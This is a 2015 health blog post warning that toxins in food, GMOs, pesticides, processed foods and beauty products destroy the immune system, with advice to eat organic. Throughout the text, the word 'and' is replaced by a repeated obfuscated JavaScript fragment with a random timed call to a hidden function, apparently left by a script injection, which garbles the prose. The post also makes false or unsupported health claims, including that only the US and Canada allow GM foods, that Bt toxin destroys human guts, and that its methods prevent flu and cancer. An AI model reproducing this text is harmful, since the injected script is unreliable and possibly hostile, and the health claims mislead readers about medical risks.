Are Toxins Destroying Your Immune System?

Posted On : July 13, 2015

toxinsThere is no doubt we are exposed to toxins in greater quantities than ever before. Many people are beginning to wake up to the fact that their food, household products, beauty products, medications, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and even clothes have cancer causing toxins in them. Understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding which toxins are the most destructive andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and what to do about it can be overwhelming. But rest assured that detoxing your environment is actually easier than you think. All you need is a plan.

First off, there are several ways that toxins destroy our immunity. I categorize toxins into two  types; ones that go in our mouth andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ones that go  onto our skin. Both are harmful andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and both destroy different parts of our immunity. The easiest ones to control are the ones that go in your mouth. Toxins in our food destroy the gut environment leading to intestinal dysbiosis andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and leaky gut. Unfortunately, the FDA hasn’t had our back on protecting us from allowing these harmful chemicals to be produced in our food.

The  following is a list of food rules I recommend you follow to minimize your toxic exposure.

Say No To GMO’s

United States andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Canada are the only two  countries that allow genetically modified foods into our country. If all other countries have banned it, you have to ask why? GMO foods secrete a toxin called BT toxin. BT toxin is an insecticide that was engineered to be secreted by the food substance to kill insects. It is literally inside the food. BT toxin causes the stomach of the insects that ingest it to explode andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and die. That  same toxin destroys our guts. One of the growing  digestive problems is leaky gut syndrome. Leaky gut is a condition where small holes form in the
gut allowing undigested foods andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and toxins to get into the bloodstream.

Once these particles get into the bloodstream, the body recognizes them as foreign invaders andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and creates an immune response. If you don’t repair this condition, your immune system will be on high alert for years. Some suspect that this is one of the many causes of the growing number of cases of cancer. If your immunity is working overtime for years, it will not be strong enough to destroy cancer cells that form everyday in our body.

Eat Organic

Pesticides, herbicides, insecticides, all sprayed on our foods, will damage our health. This is no longer  a theory, it’s a fact. Eating organic is one of the smartest nutritional decisions you can make. Our livers were not designed to filter these toxins andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and when ingested in large amounts, the liver cannot keep up with the demandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands placed upon it. Once the liver slows down due to the demandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, your immunity will be compromised.

Start shopping at farmer’s markets. Go straight to the organic section at your grocery store. Make it a personal core value that you will buy organic fruits, vegetables, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and meats. It is easier to find than you might think. Many people also worry about cost. Places like Costco, Walmart, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Target are carrying more organic products than ever before.

Stop The Processed Foods

Processed foods are foods that are made by man. They are not real andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and are packed with chemicals.  Because of the high chemical content, these foods will destroy your health quickly. One of the most popular ingredients in processed foods is partially hydrogenated oils. The FDA just announced that this oil is not fit for human consumption andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and will be pulling it out of all food products within six years.  Start reading labels. Look for words that sound like chemicals andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and avoid them. Ask yourself if that food is manmade or nature made.

Go Skin Deep

The other toxin that will place a burden on your immune system is your beauty products. Many believe  that these are more toxic than what goes in your mouth because once applied to your skin, they have direct access to your liver andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and kidneys. I have mentioned this app before on other newsletters, but it’s worth mentioning again. The skin deep app you can download to your phone andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it allows you to scan the barcodes of your beauty products. It will give you a rating. You want products that rate a 3 or less.

I will be teaching you how to build such a strong immune system that you can minimize your chances of cancer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and never fall prey to the flu again.
